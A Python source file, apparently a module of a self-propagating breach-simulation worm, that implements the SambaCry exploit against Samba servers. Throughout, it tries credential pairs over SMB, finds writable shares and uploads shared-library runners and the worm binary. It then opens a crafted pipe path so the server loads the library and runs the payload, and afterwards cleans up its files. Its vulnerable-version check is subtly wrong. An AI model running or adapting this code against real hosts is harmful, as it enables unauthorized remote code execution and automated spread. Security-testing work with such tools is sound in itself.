import logging
import re
import sys
import time
from io import BytesIO
from os import path

import impacket.smbconnection
from impacket.nt_errors import STATUS_SUCCESS
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
    FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
from impacket.smb import SessionError
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, \
    SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE
from impacket.smbconnection import SMBConnection

import monkeyfs
from exploit import HostExploiter
from model import DROPPER_ARG
from network.smbfinger import SMB_SERVICE
from tools import build_monkey_commandline

__author__ = 'itay.mizeretz'

LOG = logging.getLogger(__name__)


class SambaCryExploiter(HostExploiter):
    """
    SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
    https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
    """
    # TODO: is this credit sufficient?
    _target_os_type = ['linux']

    def __init__(self):
        self._config = __import__('config').WormConfiguration

    def exploit_host(self, host, depth=-1, src_path=None):
        if not self.is_vulnerable(host):
            return False

        writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr)
        LOG.info("Writable shares and their credentials on host %s: %s" %
                 (host.ip_addr, str(writable_shares_creds_dict)))

        host.services[SMB_SERVICE]["shares"] = {}
        for share in writable_shares_creds_dict:
            host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]}
            self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth)

        # Wait for samba server to load .so, execute code and create result file.
        time.sleep(self._config.sambacry_trigger_timeout)

        successfully_triggered_shares = []

        for share in writable_shares_creds_dict:
            trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share])
            if trigger_result is not None:
                successfully_triggered_shares.append((share, trigger_result))
            self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])

        for share, fullpath in successfully_triggered_shares:
            host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath

        if len(successfully_triggered_shares) > 0:
            LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
            return True
        else:
            LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
            return False

    def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth):
        """
        Tries exploiting share
        :param host:                victim Host object
        :param share:               share name
        :param creds:               credentials to use with share
        :param monkey_bin_src_path: src path of monkey binary to upload
        :param depth:               current depth of monkey
        """
        try:
            smb_client = self.connect_to_server(host.ip_addr, creds)
            self.upload_module(smb_client, host, share, monkey_bin_src_path, depth)
            self.trigger_module(smb_client, share)
            smb_client.close()
        except (impacket.smbconnection.SessionError, SessionError):
            LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))

    def clean_share(self, ip, share, creds):
        """
        Cleans remote share of any remaining files created by monkey
        :param ip:      IP of victim
        :param share:   share name
        :param creds:   credentials to use with share.
        """
        smb_client = self.connect_to_server(ip, creds)
        tree_id = smb_client.connectTree(share)
        file_list = [self._config.sambacry_commandline_filename, self._config.sambacry_runner_result_filename,
                     self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64,
                     self._config.sambacry_monkey_filename_32, self._config.sambacry_monkey_filename_64,
                     self._config.sambacry_monkey_copy_filename_32, self._config.sambacry_monkey_copy_filename_64]

        for filename in file_list:
            try:
                smb_client.deleteFile(share, "\\%s" % filename)
            except (impacket.smbconnection.SessionError, SessionError):
                # Ignore exception to try and delete as much as possible
                pass
        smb_client.disconnectTree(tree_id)
        smb_client.close()

    def get_trigger_result(self, ip, share, creds):
        """
        Checks if the trigger yielded any result and returns it.
        :param ip:      IP of victim
        :param share:   share name
        :param creds:   credentials to use with share.
        :return:        result of trigger if there was one. None otherwise
        """
        smb_client = self.connect_to_server(ip, creds)
        tree_id = smb_client.connectTree(share)
        file_content = None
        try:
            file_id = smb_client.openFile(tree_id, "\\%s" % self._config.sambacry_runner_result_filename,
                                          desiredAccess=FILE_READ_DATA)
            file_content = smb_client.readFile(tree_id, file_id)
            smb_client.closeFile(tree_id, file_id)
        except (impacket.smbconnection.SessionError, SessionError):
            pass

        smb_client.disconnectTree(tree_id)
        smb_client.close()
        return file_content

    def get_writable_shares_creds_dict(self, ip):
        """
        Gets dictionary of writable shares and their credentials
        :param ip:  IP address of the victim
        :return:    Dictionary of writable shares and their corresponding credentials.
        """
        writable_shares_creds_dict = {}
        credentials_list = self.get_credentials_list()

        for credentials in credentials_list:
            try:
                smb_client = self.connect_to_server(ip, credentials)
                shares = self.list_shares(smb_client)

                # don't try shares we can already write to.
                for writable_share in writable_shares_creds_dict:
                    if writable_share in shares:
                        shares.remove(writable_share)

                for share in shares:
                    if self.is_share_writable(smb_client, share):
                        writable_shares_creds_dict[share] = credentials

                smb_client.close()
            except (impacket.smbconnection.SessionError, SessionError):
                # If failed using some credentials, try others.
                pass

        return writable_shares_creds_dict

    def get_credentials_list(self):
        user_password_pairs = self._config.get_exploit_user_password_pairs()
        credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]

        for user, password in user_password_pairs:
            credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''})

        return credentials_list

    def list_shares(self, smb_client):
        shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
        for share in self._config.sambacry_shares_not_to_check:
            if share in shares:
                shares.remove(share)

        return shares

    def is_vulnerable(self, host):
        """
        Checks whether the victim runs a possibly vulnerable version of samba
        :param host:    victim Host object
        :return:        True if victim is vulnerable, False otherwise
        """
        if SMB_SERVICE not in host.services:
            LOG.info("Host: %s doesn't have SMB open" % host.ip_addr)
            return False

        pattern = re.compile(r'\d*\.\d*\.\d*')
        smb_server_name = host.services[SMB_SERVICE].get('name')
        samba_version = "unknown"
        pattern_result = pattern.search(smb_server_name)
        is_vulnerable = False
        if pattern_result is not None:
            samba_version = smb_server_name[pattern_result.start():pattern_result.end()]
            samba_version_parts = samba_version.split('.')
            if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
                is_vulnerable = True
            elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
                is_vulnerable = True
            elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"):
                is_vulnerable = True
            elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"):
                is_vulnerable = True
            elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
                is_vulnerable = True

        LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %d" %
                 (host.ip_addr, smb_server_name, samba_version, int(is_vulnerable)))

        return is_vulnerable

    def is_share_writable(self, smb_client, share):
        """
        Checks whether the share is writable
        :param smb_client:  smb client object
        :param share:       share name
        :return:            True if share is writable, False otherwise.
        """
        LOG.debug('Checking %s for write access' % share)
        try:
            tree_id = smb_client.connectTree(share)
        except (impacket.smbconnection.SessionError, SessionError):
            return False

        try:
            smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
            writable = True
        except (impacket.smbconnection.SessionError, SessionError):
            writable = False
            pass

        smb_client.disconnectTree(tree_id)

        return writable

    def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth):
        """
        Uploads the module and all relevant files to server
        :param smb_client:          smb client object
        :param host:                victim Host object
        :param share:               share name
        :param monkey_bin_src_path: src path of monkey binary to upload
        :param depth:               current depth of monkey
        """
        tree_id = smb_client.connectTree(share)

        with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file:
            smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read)

        with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
            smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_32, monkey_runner_bin_file.read)

        with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
            smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read)

        with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file:
            # TODO: Fix or postpone 32/64 architecture problem.
            smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read)

        smb_client.disconnectTree(tree_id)

    def connect_to_server(self, ip, credentials):
        """
        Connects to server using given credentials
        :param ip:          IP of server
        :param credentials: credentials to log in with
        :return:            SMBConnection object representing the connection
        """
        smb_client = SMBConnection(ip, ip)
        smb_client.login(
            credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
        return smb_client

    def trigger_module(self, smb_client, share):
        """
        Tries triggering module
        :param smb_client:  smb client object
        :param share:       share name
        :return:            True if might triggered successfully, False otherwise.
        """
        trigger_might_succeeded = False
        module_possible_paths = self.generate_module_possible_paths(share)
        for module_path in module_possible_paths:
            trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path)

        return trigger_might_succeeded

    def trigger_module_by_path(self, smb_client, module_path):
        """
        Tries triggering module by path
        :param smb_client:  smb client object
        :param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
        :return:            True if might triggered successfully, False otherwise.
        """

        try:
            # the extra / on the beginning is required for the vulnerability
            self.openPipe(smb_client, "/" + module_path)
        except (impacket.smbconnection.SessionError, SessionError) as e:
            # This is the expected result. We can't tell whether we succeeded or not just by this error code.
            if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
                return True
            else:
                pass

        return False

    def generate_module_possible_paths(self, share_name):
        """
        Generates array of possible paths
        :param share_name:  Name of the share
        :return:            Array of possible full paths to the module.
        """
        possible_paths = []

        for folder_path in self._config.sambacry_folder_paths_to_guess:
            for file_name in [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]:
                possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name))
        return possible_paths

    def get_monkey_runner_bin_file(self, is_32bit):
        if is_32bit:
            return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_32), "rb")
        else:
            return open(path.join(sys._MEIPASS, self._config.sambacry_runner_filename_64), "rb")


    def get_monkey_commandline_file(self, host, depth, location):
        return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))

    # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
    def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
                  fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
                  oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):

        packet = smb_client.getSMBServer().SMB_PACKET()
        packet['Command'] = SMB2_CREATE
        packet['TreeID'] = treeId
        if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
            packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS

        smb2Create = SMB2Create()
        smb2Create['SecurityFlags'] = 0
        smb2Create['RequestedOplockLevel'] = oplockLevel
        smb2Create['ImpersonationLevel'] = impersonationLevel
        smb2Create['DesiredAccess'] = desiredAccess
        smb2Create['FileAttributes'] = fileAttributes
        smb2Create['ShareAccess'] = shareMode
        smb2Create['CreateDisposition'] = creationDisposition
        smb2Create['CreateOptions'] = creationOptions

        smb2Create['NameLength'] = len(fileName) * 2
        if fileName != '':
            smb2Create['Buffer'] = fileName.encode('utf-16le')
        else:
            smb2Create['Buffer'] = '\x00'

        if createContexts is not None:
            smb2Create['Buffer'] += createContexts
            smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
            smb2Create['CreateContextsLength'] = len(createContexts)
        else:
            smb2Create['CreateContextsOffset'] = 0
            smb2Create['CreateContextsLength'] = 0

        packet['Data'] = smb2Create

        packetID = smb_client.getSMBServer().sendSMB(packet)
        ans = smb_client.getSMBServer().recvSMB(packetID)
        if ans.isValidAnswer(STATUS_SUCCESS):
            createResponse = SMB2Create_Response(ans['Data'])

            # The client MUST generate a handle for the Open, and it MUST
            # return success and the generated handle to the calling application.
            # In our case, str(FileID)
            return str(createResponse['FileID'])

    def openPipe(self, smb_client, pathName):
        # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
        # to make things easier for the caller. Not this time ;)
        treeId = smb_client.connectTree('IPC$')
        LOG.debug('Triggering path: %s' % pathName)

        if smb_client.getDialect() == SMB_DIALECT:
            _, flags2 = smb_client.getSMBServer().get_flags()

            pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName

            ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
            ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
            ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)
            ntCreate['Parameters']['FileNameLength'] = len(pathName)
            ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA
            ntCreate['Parameters']['FileAttributes'] = 0
            ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ
            ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE
            ntCreate['Parameters']['CreateOptions'] = FILE_OPEN
            ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION
            ntCreate['Parameters']['SecurityFlags'] = 0
            ntCreate['Parameters']['CreateFlags'] = 0x16
            ntCreate['Data']['FileName'] = pathName

            if flags2 & SMB.FLAGS2_UNICODE:
                ntCreate['Data']['Pad'] = 0x0

            return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
        else:
            return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
                                  creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)